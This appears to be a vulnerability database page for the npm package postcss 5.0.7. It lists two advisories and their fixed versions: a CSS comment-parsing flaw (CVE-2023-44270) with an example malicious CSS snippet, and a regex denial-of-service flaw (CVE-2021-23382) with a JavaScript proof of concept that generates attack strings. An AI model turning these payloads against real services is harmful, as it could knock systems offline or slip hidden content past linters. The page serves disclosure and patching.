Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/postcss@5.0.7
purl pkg:npm/postcss@5.0.7
Next non-vulnerable version 8.4.31
Latest non-vulnerable version 8.4.31
Risk 3.1
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-f8u5-8mj5-7yc6
Aliases:
CVE-2023-44270
GHSA-7fh5-64p2-3v2j
PostCSS line return parsing error An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\r` discrepancies, as demonstrated by `@font-face{ font:(\r/*);}` in a rule. This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
8.4.31
Affected by 0 other vulnerabilities.
VCID-scy5-ccf9-dygp
Aliases:
CVE-2021-23382
GHSA-566m-qj78-rww5
Regular Expression Denial of Service in postcss The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern ```regex \/\*\s* sourceMappingURL=(.*) ``` ### PoC ```js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } ``` ```js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } } ```
7.0.36
Affected by 1 other vulnerability.
8.2.13
Affected by 1 other vulnerability.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-16T22:39:50.140801+00:00 GitLab Importer Affected by VCID-f8u5-8mj5-7yc6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2023-44270.yml 38.4.0
2026-04-16T21:21:46.467384+00:00 GitLab Importer Affected by VCID-scy5-ccf9-dygp https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2021-23382.yml 38.4.0
2026-04-11T23:59:16.596439+00:00 GitLab Importer Affected by VCID-f8u5-8mj5-7yc6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2023-44270.yml 38.3.0
2026-04-11T22:34:15.917678+00:00 GitLab Importer Affected by VCID-scy5-ccf9-dygp https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2021-23382.yml 38.3.0
2026-04-03T00:02:21.202769+00:00 GitLab Importer Affected by VCID-f8u5-8mj5-7yc6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2023-44270.yml 38.1.0
2026-04-02T22:45:21.196915+00:00 GitLab Importer Affected by VCID-scy5-ccf9-dygp https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2021-23382.yml 38.1.0
2026-04-01T17:03:20.100897+00:00 GitLab Importer Affected by VCID-scy5-ccf9-dygp https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2021-23382.yml 38.0.0